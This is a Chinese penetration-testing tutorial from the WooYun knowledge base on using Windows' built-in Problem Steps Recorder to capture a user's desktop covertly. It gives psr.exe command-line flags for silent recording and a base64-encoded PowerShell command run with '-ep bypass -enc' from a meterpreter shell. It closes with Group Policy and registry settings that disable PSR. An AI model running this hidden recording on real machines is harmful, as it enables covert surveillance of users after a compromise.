滲透技巧——如何巧妙利用PSR監控Windows桌面

wyzsk發表於2020-08-19
作者: 三好學生 · 2016/03/29 10:21

0x00 前言


在滲透測試的過程中,如果需要獲取主機的更多資訊,相比於鍵盤記錄,記錄系統螢幕的操作往往更加直接有效。
也許每個人都有自己獨特的實現方式,但是如果能夠利用Windows系統自帶的程式實現,個人認為絕對是最優先考慮的方案。
下面就介紹一下如何利用Windows系統自帶的功能實現監控螢幕操作。

Alt text

0x01 簡介


PSR(Problem Steps Recorder),直譯為問題步驟記錄器,在Windows 早期的系統中,採用WER(Windows Error Reporting)來收集系統的錯誤報告,但這些報告往往包含的資訊太少以致於無法解決實際問題。

為此,微軟從Windows 7系統開始,增加了PSR來解決這個問題,PSR能夠記錄使用者在遇到崩潰時執行的所有操作,以便測試人員和開發人員能夠重現環境對其分析和除錯。

當PSR執行時,將會自動記錄螢幕的操作,每次操作都會自動儲存成一張圖片,最終生成一份zip格式的報告。

注:
百度百科對psr的名稱描述有誤,準確的應為Problem Steps Recorder(該問題已提交)

如圖 Alt text

連結為:
http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K

0x02 使用方法


1、啟動psr.exe,點選開始錄製

可使用快捷鍵win+R直接輸入psr來啟動
下圖為psr的操作皮膚,點選開始記錄即可記錄當前的螢幕操作

Alt text

點選後會提示許可權的問題,如果需要記錄管理員許可權的程式,那麼需要以管理員許可權來執行psr,如圖

Alt text

2、進行任意操作

當執行psr開始錄製後,滑鼠點選時會增加特效

如圖 Alt text

3、停止記錄,儲存報告

如圖 Alt text

4、檢視報告

報告會對每次操作截圖,並記錄滑鼠的操作

比如滑鼠的單擊操作,從截圖註釋可以看到當前的滑鼠做了哪些操作 Alt text

而且,在報告後半部分會詳細記錄相關細節,裡面的內容也很是有趣: Alt text

0x03 進階方法


psr在記錄螢幕的操作中會啟動UI介面,並且對滑鼠點選操作增加特效,這顯然無法滿足滲透測試的要求。

但好在psr提供了命令列引數用作後臺記錄

命令列引數如下:

#!bash
psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>]
[/sketch (0|1)] [/slides (0|1)] [/gui (0|1)]
[/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)]
[/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>]

/start Start Recording. (Outputpath flag SHOULD be specified)
/stop Stop Recording.
/sc Capture screenshots for recorded steps.
/maxsc Maximum number of recent screen captures.
/maxlogsize Maximum log file size (in MB) before wrapping occurs.
/gui Display control GUI.
/arcetl Include raw ETW file in archive output.
/arcxml Include MHT file in archive output.
/recordpid Record all actions associated with given PID.
/sketch Sketch UI if no screenshot was saved.
/slides Create slide show HTML pages.
/output Store output of record session in given path.
/stopevent Event to signal after output files are generated.

結合實際,可使用以下命令:

  1. psr.exe /start /gui 0 /output C:\test\capture.zip

    後臺啟動psr並開始錄製,檔案儲存為C:\test\capture.zip

  2. psr.exe /stop

    結束錄製並退出psr,自動儲存報告檔案

0x04 實際測試


測試環境:

Server:
OS:Kali linux
IP:192.168.174.133

Client:
OS:Win7 x86
IP:192.168.174.128

Kali已獲得meterpreter許可權

如圖 Alt text

測試功能:

  1. 自動啟動錄製
  2. 錄製指定時間後自動退出
  3. 自動儲存報告檔案

可使用Powershell對上述功能做簡單實現:

1、啟動自動錄製,設定為無介面模式,並指定輸出路徑:

#!bash
psr.exe /start /gui 0 /output C:\test\capture.zip;

2、等待10s,即錄製時間為10s:

#!bash
Start-Sleep -s 10;

3、結束錄製,自動退出:

#!bash
psr.exe /stop;

可將以上程式碼儲存為C:\test\1.txt,然後對其作base64加密

在Powershell環境下執行如下程式碼來對功能程式碼進行base64加密:

#!powershell
$string=Get-Content "C:\test\1.txt"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded

Alt text

如圖,從輸出得到加密的Powershell命令為:

#!bash
cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA

然後就可以在meterpreter的shell下直接執行Powershell命令:

#!bash
powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA

Alt text

程式碼執行後,等待10s產成報告檔案capture.zip,測試成功

0x05 防禦


可採用以下兩種方法關閉psr:

1、使用組策略

中文系統:

gpedit.msc-管理模板-Windows元件-應用程式相容性

啟用關閉問題步驟記錄器

如圖 Alt text

英文系統:

gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility

啟用Turn off Problem Steps Recorder

如圖 Alt text

2、修改登錄檔

#!bash
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]

新建"DisableUAR"=dword:00000001

如圖 Alt text

注:
dword=1對應組策略中的已啟用
dword=0對應組策略中的已禁用
刪除"DisableUAR"對應組策略中的未配置

0x06 小結


利用PSR監控Windows桌面,不僅僅能夠捕獲使用者桌面的操作,而且在報告中會包含更多有用的細節資訊,相信你在滲透測試的過程中,一定會用上它。

0x07 參考資料


本文由三好學生原創並首發於烏雲drops,轉載請註明

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章